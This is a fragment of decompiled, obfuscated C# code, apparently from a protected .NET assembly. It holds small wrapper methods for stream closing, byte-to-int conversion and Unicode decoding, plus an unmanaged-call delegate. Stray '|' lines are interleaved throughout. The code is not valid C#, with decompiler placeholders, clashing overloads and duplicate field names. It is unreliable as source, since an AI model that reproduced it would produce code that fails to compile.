internal static object \u0006([In] object obj0)
|
||
{
|
||
try
|
||
{
|
||
return (object) ((MemoryStream) obj0).ToArray();
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj = obj0;
|
||
throw UnhandledException.\u0003(ex, obj);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static void \u0004([In] object obj0)
|
||
{
|
||
try
|
||
{
|
||
((Stream) obj0).Close();
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj = obj0;
|
||
throw UnhandledException.\u0003(ex, obj);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static void \u0005([In] object obj0)
|
||
{
|
||
try
|
||
{
|
||
((BinaryReader) obj0).Close();
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj = obj0;
|
||
throw UnhandledException.\u0003(ex, obj);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static int \u0003([In] object obj0, [In] int obj1)
|
||
{
|
||
try
|
||
{
|
||
return BitConverter.ToInt32((byte[]) obj0, obj1);
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj = obj0;
|
||
// ISSUE: variable of a boxed type
|
||
__Boxed<int> local = (ValueType) obj1;
|
||
throw UnhandledException.\u0003(ex, obj, (object) local);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static object \u0003()
|
||
{
|
||
try
|
||
{
|
||
return (object) Encoding.Unicode;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
throw UnhandledException.\u0003(ex);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static object \u0003([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3)
|
||
{
|
||
try
|
||
{
|
||
return (object) ((Encoding) obj0).GetString((byte[]) obj1, obj2, obj3);
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj4 = obj0;
|
||
object obj5 = obj1;
|
||
// ISSUE: variable of a boxed type
|
||
__Boxed<int> local1 = (ValueType) obj2;
|
||
// ISSUE: variable of a boxed type
|
||
__Boxed<int> local2 = (ValueType) obj3;
|
||
throw UnhandledException.\u0003(ex, obj4, obj5, (object) local1, (object) local2);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static bool \u0003()
|
||
{
|
||
try
|
||
{
|
||
return true;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
throw UnhandledException.\u0003(ex);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static bool \u0004()
|
||
{
|
||
try
|
||
{
|
||
return false;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
throw UnhandledException.\u0003(ex);
|
||
}
|
||
}
|
||
|
||
internal delegate uint \u0001(
|
||
[MarshalAs(UnmanagedType.U8)] ref ulong _param1,
|
||
[In] IntPtr obj1,
|
||
[In] IntPtr obj2,
|
||
[MarshalAs(UnmanagedType.U4)] uint _param4,
|
||
[In] ref IntPtr obj4,
|
||
[In] ref uint obj5);
|
||
|
||
internal struct \u0002
|
||
{
|
||
internal bool \u0001;
|
||
internal byte[] \u0001;
|
||
}
|
||
}
|
||
}
|